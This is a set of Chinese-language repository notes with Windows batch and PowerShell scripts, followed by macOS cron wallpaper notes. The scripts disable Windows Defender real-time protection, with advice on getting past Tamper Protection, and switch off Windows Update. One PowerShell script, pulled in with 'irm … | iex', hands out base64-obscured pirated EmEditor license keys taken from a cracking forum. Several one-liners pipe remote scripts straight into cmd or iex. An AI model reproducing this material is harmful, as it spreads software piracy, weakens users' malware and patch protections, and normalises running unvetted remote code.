vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit & cd /d "%~dp0" :: color 9 cls echo 请选择操作: echo/ echo [1] 禁用实时防护 echo [2] 启用实时防护 echo/ choice /c 12 /n /m "请输入选项(1或2):" echo/ if errorlevel 2 ( REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f 2>nul 1>nul echo 启用实时防护,OK! echo/ ) else ( REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 1>nul echo 禁用实时防护,已OK! echo 在Windows defender点击关闭“篡改防护”即可关闭永久性关闭实时保护。 echo 也可在需要时,自行手动开启“篡改防护”以长期打开实时保护功能。 echo/ ) pause ``` 代码调优的执行效果 ![](https://s2.xptou.com/2023/05/31/6476b67ad1c48.png) ![](https://s2.xptou.com/2023/05/31/6476b68335eab.png) 在线测试 ``` curl -OfsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-bat/choice_wdrt.bat&&call choice_wdrt.bat ``` ![](https://s2.xptou.com/2023/05/31/6476bd0defa05.png) ## 附录:整体探索过程 ### 查阅官方及第三方资料整合 推敲点: 1. [csdn - Win10如何彻底关闭实时保护(第二种才有效)](https://blog.csdn.net/azxc98765/article/details/120094030), 在这基础上转换成批处理,为往后的维护及资料查找上,是要方便很多的。 2. 基于第一点而找到的 [v2ex - 如何永久关闭 Win10 的 defender 的实时保护](https://v2ex.com/t/712755) 3. 有关于一些文章提到配置Windows defender有关的组策略不管用,我怀疑或许与这有关吧,[admx.help - 配置本地设置替换以关闭入侵防护系统](https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsDefender::RealtimeProtection_LocalSettingOverrideDisableIntrusionPreventionSystem&Language=zh-cn) 4. 自己依照admx.help提供的“实时保护”注册表数据所写的批处理,就“实时保护没效果”来说,我与大家是相差无几的处理境况。有必要在参考第三方资料的同时,做额外的差异比较。 一些绕弯的参考项: 1. [Access Denied - Setting Owner and/or Permissions on Registry Key](https://answers.microsoft.com/en-us/windows/forum/all/access-denied-setting-owner-andor-permissions-on/71cdd66a-75ce-4e79-bace-89637e0dacae?messageId=e5059fad-18c9-4b97-b7a5-cedcf48b083a&page=3)(后来用NSudoLG提权工具了) 2. [Automatic Sample Submission Turns off? Here’s How to Fix It! [MiniTool Tips]](https://www.minitool.com/news/automatic-sample-submission-off.html)(文章不错,但我的重心是在“实时防护”问题上) 后续参考储备: * [csdn - Windows 退域后仍出现‘此设置由管理员进行管理‘的问题](https://blog.csdn.net/geekqian/article/details/90608482) * [freebuf - 花式沉默Defender](https://www.freebuf.com/articles/network/324952.html) ### Tamper Protection 从 [bbs.huaweicloud - 红蓝对抗之致盲 Windows defender](https://bbs.huaweicloud.com/blogs/396537)(2022.11.21)了解到使用[NSudoLG](https://github.com/M2Team/NSudo)这类权限提升工具来获取注册表关键项的权限,从而操作该项整个注册表的所有内容。在此基础上,经过我简单的提权及写入篡改保护注册项发现:Windows defender 的篡改保护项值是具有“自主调节性”的;当你将“HKLM\SOFTWARE\Microsoft\Windows Defender\Features”的“TamperProtection”键改为"0x4"时,再开关篡改保护按钮,该键又会回到默认值“0x5”。 “TamperProtection”键写入,参考如下: > 【来源】https://www.wintips.org/how-to-disable-tamper-protection-security-on-windows-10/ > **4.** In the Edit DWORD window that opens:* > > - To **Disable Tamper Protection**, set the value data to **0** and click on the **OK** button.* > - To **Enable Tamper Protection**, set the value to **5** and click **OK. \*** > \* Note: If after pressing OK, you receive the error: "*Error Editing Value. Cannot edit TamperProtection. Error writing the value's new contents*.", proceed below to take the ownership of the "Features" registry key and then repeat the above step. 翻阅相关此前资料来看,不少文章均未提及对“TamperProtection”键值修改出现的有关异样情况,我推测是微软又加强了一道安全等级防护,防止注册表、代码等方式直接干预Windows defender的主要安全监测审核程序,造成破坏性的安全性事件影响。 后续在看了 [unSafe.sh - 当前Defender AV 防篡改的局限及功能测试](https://buaq.net/go-103627.html) 对“篡改保护”详细介绍及注册表捕捉事件说明,也证实我上述的想法所推测的那样,“篡改保护”在Windows defender安全防护处于内核级定位。 ![](https://s2.xptou.com/2023/05/31/6476a89432477.png) ================================================ FILE: AQUICK/DTRASH/diss_windows_update.md ================================================ # 关闭Windows更新的批处理 ## 缘起 做这个呢,一是看了[晨钟酱 -【更新能永久暂停?盘点两个奇特的Windows使用技巧】 ](https://www.bilibili.com/video/BV1FM4y1i76d)视频启发,二是知乎上获取到一些信息来源[知乎-如何关闭win10的自动更新?](https://www.zhihu.com/question/65332770/answer/2369884038),三是同事分享的重定向更新服务器信息,以及“云烟成雨”分享贴:[禁止win10更新:StopUpdates10_4.0.2023.306]( https://www.52pojie.cn/thread-1777560-1-1.html)。我整体分析这些收集来的信息资源,做这个长久令人困扰的“关闭/开启Windows更新”是可行的。 看了B站与知乎这两则讯息发帖及评论的大致详情,结合我之前有过编写IE安全性规则的经验上来看,要想稳定长久关闭Windows更新,仅用一条注册表,应对之后微软做出的相关调整,这显然不大充分。以及基于企业环境的原因,自己基本上尽量少用激活工具,以及其他不透明的工具,故为此自己就动手做了批处理关闭Windows更新的。 先列出主要的参考资料: * 起先:[晨钟酱 -【更新能永久暂停?盘点两个奇特的Windows使用技巧】 ](https://www.bilibili.com/video/BV1FM4y1i76d)、[知乎-如何关闭win10的自动更新?](https://www.zhihu.com/question/65332770/answer/2369884038)、[云烟成雨 - 禁止win10更新:StopUpdates10_4.0.2023.306]( https://www.52pojie.cn/thread-1777560-1-1.html) * 核心: * [admx.help - 配置自动更新](https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsUpdate::AutoUpdateCfg&Language=zh-cn)(常规条目) * https://greatis.com/stopupdates10 (常规条目所没提到的词眼:USOClient,"WAAS Medic") * https://www.howtogeek.com/799392/what-is-waasmedic-agent-exe-how-to-fix-high-disk-usage * https://www.majorgeeks.com/content/page/what_is_the_update_orchestrator_service.html * https://serverfault.com/questions/695916/registry-key-gpo-to-disable-and-block-windows-10-upgrade * 增强:[脚本之家 - 屏蔽Win7/Win8.1升级Win10推送的三种图文方法](https://www.jb51.net/os/windows/418707.html)、[csdn-Windows 7禁用“ PC不支持”弹出窗口](https://blog.csdn.net/allway2/article/details/103905502) ## 实测效果与源码 ### stop_update.bat(停止更新) 16:26,运行stop_update.bat前。 ![](https://s2.xptou.com/2023/05/29/6474c502bbc26.png) 16:28,运行stop_update.bat后,出现“某些设置由你的组织来管理”红字,以及红色星号标识“你的组织已关闭更新”。 ![](https://s2.xptou.com/2023/05/29/6474c5032516d.png) 此状态下重启后是能完成最后一波更新的,因电脑性能,更新用了10分钟不等,中途走开了一会。 ![](https://s2.xptou.com/2023/05/29/6474c5054eba8.png) 整体效果是令人满意的。 **stop_update.bat** 附源码:https://github.com/hoochanlon/ihs-simple/blob/main/d-bat/stop_update.bat ```cmd :: 提前注释保留项 :: https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsUpdate::AutoUpdateCfg&Language=zh-cn @REM https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-update#update-enableautomaticupgrades @REM https://www.howtogeek.com/799392/what-is-waasmedic-agent-exe-how-to-fix-high-disk-usage/ @REM https://www.majorgeeks.com/content/page/what_is_the_update_orchestrator_service.html @REM https://answers.microsoft.com/en-us/windows/forum/all/windows-7-8-81-registry-edits-to-prevent-windows/4cbd4842-d11f-4579-a8de-18576aad2597 @REM https://greatis.com/stopupdates10/ @REM 暂停更新3000 @REM reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings" /v FlightSettingsMaxPauseDays /t reg_dword /d 3000 /f @REM 此计算机的目标组名称 @REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "TargetGroup" /t REG_SZ /d "YourTargetGroup" /f @REM 该服务使用这些信息来确定在此计算机上应该部署哪些更新。Enabled Value 0 = Disabled, 1 = Enabled @REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "TargetGroupEnabled" /t REG_DWORD /d "0x0" /f :: -------指定 Intranet Microsoft 更新服务位置-------- @REM 此设置允许你在网络上指定一台服务器执行内部更新服务。自动更新客户端将搜索此服务,找到适用于网络上计算机的更新。 @REM Value 0 = Disabled, 1 = Enabled @REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /t REG_DWORD /d "0x1" /f @REM 指定 Intranet Microsoft 网址 @REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /t REG_SZ /d "http://127.0.0.1" /f @REM 设置 Intranet 统计服务器 @REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /t REG_SZ /d "http://127.0.0.1" /f :: ------------------------------------------------- @REM 该服务主要用于检查 Windows 更新的健康状况,以确保系统能够及时接收到最新的安全和功能更新。,并将其值设置为 4 (禁止运行该服务)。 @REM REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaasMedic" /v "Start" /t REG_DWORD /d 4 /f :: 提前注释保留项 :: 彻底关闭Windows更新 @REM 临时停止 Windows Update 服务 net stop wuauserv @REM 暂停升级 enabled Value 0 = Disabled, 1 = Enabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "PauseDeferrals" /t REG_DWORD /d "0x1" /f @REM 允许非管理员接收更新通知 Enabled Value 0 = Disabled, 1 = Enabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "ElevateNonAdmins" /t REG_DWORD /d "0x1" /f @REM 此设置允许你在网络上指定一台服务器执行内部更新服务。自动更新客户端将搜索此服务,找到适用于网络上计算机的更新。 @REM Value 0 = Disabled, 1 = Enabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /t REG_DWORD /d "0x1" /f @REM 指定 Intranet Microsoft 网址 reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /t REG_SZ /d "http://127.0.0.1" /f @REM 设置 Intranet 统计服务器 reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /t REG_SZ /d "http://127.0.0.1" /f @REM 如果启用此策略设置,则会阻止用户连接到 Windows 更新网站。 Value 1 = Enabled, 0 = Disabled reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsUpdate" /t REG_DWORD /d "0x1" /f @REM 配置自动更新 Value 1= Disabled, 0 = Enabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d "0x1" /f @REM 允许自动更新立即安装 Value 1 = Enabled,0 = Disabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AutoInstallMinorUpdates" /t REG_DWORD /d "0x1" /f @REM 自动更新频率 Value 0 = Disabled, 1 = Enabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "DetectionFrequencyEnabled" /t REG_DWORD /d "0x0" /f @REM 重新计划自动更新计划的安装 Value 1 = Enabled,0 = Disabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "RescheduleWaitTimeEnabled" /t REG_DWORD /d "0x0" /f @REM 删除使用所有 Windows 更新功能的访问权限 Value 1 = Enabled,0 = Disabled reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate" /v "DisableWindowsUpdateAccess" /t REG_DWORD /d "0x1" /f @REM 关闭对所有 Windows 更新功能的访问 Value 1 = Enabled,0 = Disabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "RescheduleWaitTimeEnabled" /t REG_DWORD /d "0x1" /f @REM 阻止运行 Windows Anytime Upgrade(Windows版本升级) Value 1 = Enabled,0 = Disabled reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\WAU" /v "Disabled" /t REG_DWORD /d "0x1" /f @REM 允许或禁止 Microsoft Store 向最新版本的 Windows 提供更新。 Value 1 = Enabled, 0 = Disabled REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "DisableOSUpgrade" /t REG_DWORD /d 1 /f @REM ------ Windows更新健康医生服务与更新编排器服务 @REM "Start" 值包括 0(启动失败)、1(系统启动时自动启动)、2(手动启动)和 3(禁用),而 4 表示服务不会被启动,如果服务已经在运行,则会被停止。 @REM 该服务主要用于检查 Windows 更新的健康状况,以确保系统能够及时接收到最新的安全和功能更新,并将其值设置为 4 (禁止运行该服务)。 @REM 更新编排器服务,关闭 REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsoSvc" /v "Start" /t REG_DWORD /d 4 /f @REM ------ Windows更新健康医生服务与更新编排器服务 @REM ---- win7 升级提示通杀 @REM 关闭《获取Windows10》升级通知 https://www.jb51.net/os/windows/418707.html REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\OSUpgrade" /v "ReservationsAllowed" /t REG_DWORD /d 0 /f @REM https://serverfault.com/questions/695916/registry-key-gpo-to-disable-and-block-windows-10-upgrade REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Gwx" /v "DisableGwx" /t REG_DWORD /d 1 /f @REM Windows 7禁用“ PC不支持”弹出窗口 https://blog.csdn.net/allway2/article/details/103905502 REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\EOSNotify" /v "DiscontinueEOS" /t REG_DWORD /d 1 /f @REM ---- win7 升级提示通杀 @REM 启动 Windows Update 服务 net start wuauserv :: 彻底关闭Windows更新 pause ``` ### re_update.bat (恢复更新) re_update.bat 恢复更新启动 ![](https://s2.xptou.com/2023/05/29/6474c5d6eae76.png) 重启电脑后效果 ![](https://s2.xptou.com/2023/05/29/6474c5df88147.png) **re_update.bat** 附源码:https://github.com/hoochanlon/ihs-simple/blob/main/d-bat/re_update.bat ```cmd :: 提前注释保留项 :: https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsUpdate::AutoUpdateCfg&Language=zh-cn @REM https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-update#update-enableautomaticupgrades @REM https://www.howtogeek.com/799392/what-is-waasmedic-agent-exe-how-to-fix-high-disk-usage/ @REM https://www.majorgeeks.com/content/page/what_is_the_update_orchestrator_service.html @REM https://answers.microsoft.com/en-us/windows/forum/all/windows-7-8-81-registry-edits-to-prevent-windows/4cbd4842-d11f-4579-a8de-18576aad2597 @REM https://greatis.com/stopupdates10/ @REM 暂停更新3000 @REM reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings" /v FlightSettingsMaxPauseDays /f @REM 此计算机的目标组名称 @REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "TargetGroup" /f @REM 该服务使用这些信息来确定在此计算机上应该部署哪些更新。Enabled Value 0 = Disabled, 1 = Enabled @REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "TargetGroupEnabled" /f :: -------指定 Intranet Microsoft 更新服务位置-------- @REM 此设置允许你在网络上指定一台服务器执行内部更新服务。自动更新客户端将搜索此服务,找到适用于网络上计算机的更新。 @REM Value 0 = Disabled, 1 = Enabled @REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /f @REM 指定 Intranet Microsoft 网址 @REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /f @REM 设置 Intranet 统计服务器 @REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /f :: ------------------------------------------------- @REM 该服务主要用于检查 Windows 更新的健康状况,以确保系统能够及时接收到最新的安全和功能更新。,并将其值设置为 4 (禁止运行该服务)。 @REM REG delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaasMedic" /v "Start" /f :: 提前注释保留项 :: 彻底关闭Windows更新 @REM 临时停止 Windows Update 服务 net stop wuauserv @REM ------ Windows更新健康医生服务与更新编排器服务 ------------- @REM "Start" 值包括 0(启动失败)、1(系统启动时自动启动)、2(手动启动)和 3(禁用),而 4 表示服务不会被启动,如果服务已经在运行,则会被停止。 @REM 该服务主要用于检查 Windows 更新的健康状况,以确保系统能够及时接收到最新的安全和功能更新。,并将其值设置为 4 (禁止运行该服务)。 @REM 更新编排器服务,关闭 REG delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /f REG delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsoSvc" /v "Start" /f @REM https://superuser.com/questions/1584410/windows-10-update-something-went-wrong-try-to-reopen-settings-later REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsoSvc" /v "Start" /t REG_DWORD /d 2 /f @REM ------ Windows更新健康医生服务与更新编排器服务 ------------- @REM ---- win7 升级提示通杀 -------- @REM 关闭《获取Windows10》升级通知 https://www.jb51.net/os/windows/418707.html REG delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\OSUpgrade" /v "ReservationsAllowed" /f @REM https://serverfault.com/questions/695916/registry-key-gpo-to-disable-and-block-windows-10-upgrade REG delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Gwx" /v "DisableGwx" /f @REM Windows 7禁用“ PC不支持”弹出窗口 https://blog.csdn.net/allway2/article/details/103905502 REG delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\EOSNotify" /v "DiscontinueEOS" /f @REM ---- win7 升级提示通杀 --------- @REM ------ 其他细节 ------------- @REM 暂停升级 enabled Value 0 = Disabled, 1 = Enabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "PauseDeferrals" /f @REM 允许非管理员接收更新通知 Enabled Value 0 = Disabled, 1 = Enabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "ElevateNonAdmins" /f @REM 此设置允许你在网络上指定一台服务器执行内部更新服务。自动更新客户端将搜索此服务,找到适用于网络上计算机的更新。 @REM Value 0 = Disabled, 1 = Enabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /f @REM 指定 Intranet Microsoft 网址 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /f @REM 设置 Intranet 统计服务器 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /f @REM 如果启用此策略设置,则会阻止用户连接到 Windows 更新网站。 Value 1 = Enabled, 0 = Disabled reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsUpdate" /f @REM 配置自动更新 Value 1= Disabled, 0 = Enabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /f @REM 允许自动更新立即安装 Value 1 = Enabled,0 = Disabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AutoInstallMinorUpdates" /f @REM 自动更新频率 Value 0 = Disabled, 1 = Enabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "DetectionFrequencyEnabled" /f @REM 删除使用所有 Windows 更新功能的访问权限 Value 1 = Enabled,0 = Disabled reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate" /v "DisableWindowsUpdateAccess" /f @REM 关闭对所有 Windows 更新功能的访问 Value 1 = Enabled,0 = Disabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "RescheduleWaitTimeEnabled" /f @REM 阻止运行 Windows Anytime Upgrade(Windows版本升级) Value 1 = Enabled,0 = Disabled reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\WAU" /v "Disabled" /f @REM 允许或禁止 Microsoft Store 向最新版本的 Windows 提供更新。 Value 1 = Enabled, 0 = Disabled REG delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "DisableOSUpgrade" /f @REM ------ 其他细节 ------------- @REM 启动 Windows Update 服务 net start wuauserv pause ``` ## 附录 ### Win11实测效果 **运行stop_update前 与 运行stop_update后** ![](https://s2.xptou.com/2023/05/29/6474c6d5a61fb.png) ![](https://s2.xptou.com/2023/05/29/6474c6db32115.png) **stop_update**,安装完最后一波更新与重启后效果 ![](https://s2.xptou.com/2023/05/29/6474c7a50cd6a.png) ![](https://s2.xptou.com/2023/05/29/6474c7b14c6a5.png) **re_update** 运行后与重启效果 ![](https://s2.xptou.com/2023/05/29/6474c859dcb8d.png) ![](https://s2.xptou.com/2023/05/29/6474c86028bb7.png) ### 在线实测效果 使用stop_update.bat以及重启后效果 ``` curl -L https://ghproxy.com/https://github.com/hoochanlon/ihs-simple/raw/main/d-bat/stop_update.bat|cmd ``` ![](https://s2.xptou.com/2023/05/29/6474c8dc2221b.png) ![](https://s2.xptou.com/2023/05/29/6474c8e23395c.png) re_update测试 ``` curl -L https://ghproxy.com/https://github.com/hoochanlon/ihs-simple/raw/main/d-bat/re_update.bat|cmd ``` ![](https://s2.xptou.com/2023/05/29/6474c921c65de.png) ![](https://s2.xptou.com/2023/05/29/6474c933c3798.png) ================================================ FILE: AQUICK/DTRASH/emeditor.md ================================================ 看到福利区 [分享两个EmEditor 终身授权激活码(出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1756848-1-1.html),我是觉得下载文件在去查看太麻烦了,直接发个curl请求过去把序列号拷贝到粘贴版,过去复制到程序就完事了,为防“君子”简单做了下混淆base64编码,所以顺便看点资料,随手写了个玩具代码,这个没什么技巧性可言的,故作讨论贴。 下面powershell一键搞定。 ```powershell irm https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-pwsh/emeditor_random_keygen.ps1|iex ``` git仓:https://github.com/hoochanlon/ihs-simple/blob/main/d-pwsh/emeditor_random_keygen.ps1 附源码: ```powershell # 发现一个升级的aiu文件,删不删随喜吧,"C:\ProgramData\Emurasoft\EmEditor\updates\emed64_updates4u.aiu" # 摇骰子1~6点随机选一个 emeditor key。 # $emeditor_v21_str;$getkey; 重复定义增加多余的输出显示 $i = (1..6|Get-Random) $emeditor_v21_str = switch ($i) { 1 {"RABNAEEAWgBNAC0AVwBIAFkANQAyAC0AQQBYADIAMgAyAC0AWgBRAEoAWABOAC0ANwA5AEoAWABIAA=="} 2 {"RABTAEIAWgBHAC0AQgBGADIAWABIAC0ATQA5ADIAMgAyAC0ARAA1AE0AOABMAC0AUQBDAEMAWABIAA=="} 3 {"RABNAEEAWgBFAC0AVgBLAFoASgBWAC0AMgA4AFoAWgBaAC0ANABUADcAQQBKAC0ANwBIAEgANQA1AA=="} 4 {"RABQAEEAWgA2AC0AUwBIADIAVQBQAC0AUwA3AFoAWgBaAC0AWAA0ADcAVABVAC0ARgBVAEwAMgBYAA=="} 5 {"RABTAEgAWgBBAC0AUQBKADMARwBXAC0AWQBVAFoAWgBaAC0AUwBWAEYAWgAyAC0ANgBEAEIAVQBFAA=="} 6 {"RABNAEEAWgBNAC0AWgBNADUANQA2AC0ASwA2AFoAWgBaAC0AOQA5AEwAVwA4AC0AVwBWADUAQgBUAA=="} } # 编码测试 [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("asdasdxzczc")); $getkey = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($emeditor_v21_str)) Set-Clipboard -Value $getkey # Get-Clipboard Write-Output "" Write-Output "注册名字随便填一个,序列号粘贴进去就行了。序列号已复制到粘贴板:" $getkey Write-Output "" Write-Output "xp/win7/server2008请下载:http://files.emeditor.com/emed32_14.8.1.exe" Write-Output "" Write-Output "win10/win11及未来更高版本以上:https://support.emeditor.com/en/downloads/latest/installer/64" ``` 编码测试过程中的发现: `iwr https://xxxx.com | iex` ,据[CS免杀-PowerShell加载命令免杀](http://www.hackdig.com/03/hack-309458.htm)所说“缩写IWR,用来访问网页的内容,默认使用IE引擎“。结合我个人实验推测,不管是UTF8还是GB2312,中文都会显示乱码应该是与这个有关系。(可探讨) 通过`iex`反弹加载远程git仓字符文本内容执行,都不用像以前调用下载,然后文件执行,最后还要附加一句删除脚本自身语句,省去`remove-item $MyInvocation.MyCommand.Path -force`这一动作。 效果图一 ![](https://s2.xptou.com/2023/03/11/640c770c2d89b.png) 效果图二 ![](https://s2.xptou.com/2023/03/11/640c770dccc24.png) 最后,我推测emeditor甚至可通过注入注册表的方式直接完成,免进入界面去激活。粗略来说: * CLSID,“全局唯一标示符”,标识软件用的(随机数字),“Classes\Wow6432Node\” 软件的注册信息用的。 加上之前写过[fail_idm.ps1](https://github.com/hoochanlon/ihs-simple/blob/main/d-pwsh/fail_idm.ps1)的经验,综上我觉得是可行的。(可探讨)不过我嫌麻烦,就没做了。 ![](https://s2.xptou.com/2023/03/11/640c770e6e2de.png) 参考资料: * [educba-powershell-base64](https://www.educba.com/powershell-base64/) * [EmEditor 17.2.4 安装版+便携版+永久序列号+插件包(出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-658917-1-1.html) * [强制注册EmEditor 16.4(出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-578165-1-1.html) * [cnblogs-PowerDesigner 12破解汉化](https://www.cnblogs.com/estherlty/p/15771219.html) * [bilibili-文本编辑器 EmEditor v22.0](https://www.bilibili.com/read/cv19068695) * https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-clipboard https://learn.microsoft.com/zh-cn/powershell/scripting/learn/deep-dives/everything-about-switch * [CS免杀-PowerShell加载命令免杀](http://www.hackdig.com/03/hack-309458.htm) ================================================ FILE: AQUICK/DTRASH/exif_test_pic/readme.txt ================================================ P50图片地址:https://zhongce.sina.com.cn/article/view/103759 ================================================ FILE: AQUICK/DTRASH/mac_corn_diy_wallpaper.md ================================================ 我·分析完必应搜索的html,虽已知道壁纸URL规律,不过找到了 [ioliu-每日必应壁纸站](http://bing.ioliu.cn) ,它让我没什么动力写爬虫了。不过,我想借此完成早前一闪而过小点子 —— “每天上下班时间段,各一副壁纸,一面工作,一面生活,工作和生活互不干扰。 ## 启动前探究 ### 基础指令测试 Mac系统壁纸位置,以Monterey为例(还原准备) ``` /System/Library/Desktop Pictures/Monterey Graphic.heic ``` 每晚七点执行一次 ```shell 0 19 * * * osascript -e 'tell application "Finder" to set desktop picture to POSIX file "/path/to/image.jpg"' ``` 周一至周五晚七点执行一次 ``` 0 19 * * 1-5 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "~/image.jpg"' ``` ### 需求环境及指令考量 #### 设:晚上休息时间十一点十分,切换系统壁纸;傍晚六点半,自定义壁纸。 (原始需求如上,以下是边分析边改进) **周一傍晚六点半,自定义壁纸** ``` 30 18 * * 1 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "~/diy.jpg"' ``` **周一至周四,晚上休息时间十一点十分,切换系统壁纸** ``` 10 23 * * 1-4 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "/System/Library/Desktop Pictures/Monterey Graphic.heic"' ``` **周五傍晚六点半,自定义壁纸** ``` 30 18 * * 5 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "~/diy.jpg"' ``` **周日晚上休息时间十一点十分,切换系统壁纸** ``` 10 23 * * 7 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "/System/Library/Desktop Pictures/Monterey Graphic.heic"' ``` **每隔三十天换一次壁纸** ``` # “x/30” 从x天之后的30天 0 0 */30 * * osascript -e 'tell application "Finder" to set desktop picture to POSIX file "~/diy.jpg"' ``` ## 遇到的问题(测试异常结果分析) **总结的四点**: 1. Mac使用`crontab -e` 的前置条件:一、换nano,二、 `brew install nvim` 2. 理论上,macOS当屏幕锁定或休眠,系统在锁定或休眠会将大部分进程挂起,不会运行 `crontab` 中的任务,以达到减小开支及省电目的;但我的测试:Mac充电状态、放电状态的息屏,解锁后还是会更改的,实际上亮之前就已经改了。如果是关机的话,时间就跳过待下一次这个时间点了。 3. 使用 `launchd` ,编写个 plist 文件,加入守护进程。效果上也没多大差异,而且编码复杂度过高,不划算,故没考虑在内。 4. `crontab`是以当前用户执行的,sudo 之后会临时变成root,应使用`sudo -u $USER `,保持当前用户名执行。 **其他问题** 试用如下代码逐条添加定时任务,并不会追加,而是覆盖刷新。 ``` # 周一傍晚六点半,自定义壁纸 echo "30 18 * * 1 osascript -e 'tell application \"Finder\" \ to set desktop picture to \ POSIX file \"~/Pictures/必应壁纸/KlostersSerneus-20230502.png\"'" \ | crontab - # 周一至周四,晚上休息时间十一点十分,切换系统壁纸 echo "10 23 * * 1-4 osascript -e 'tell application \"Finder\" \ to set desktop picture to \ POSIX file "/System/Library/Desktop Pictures/Monterey 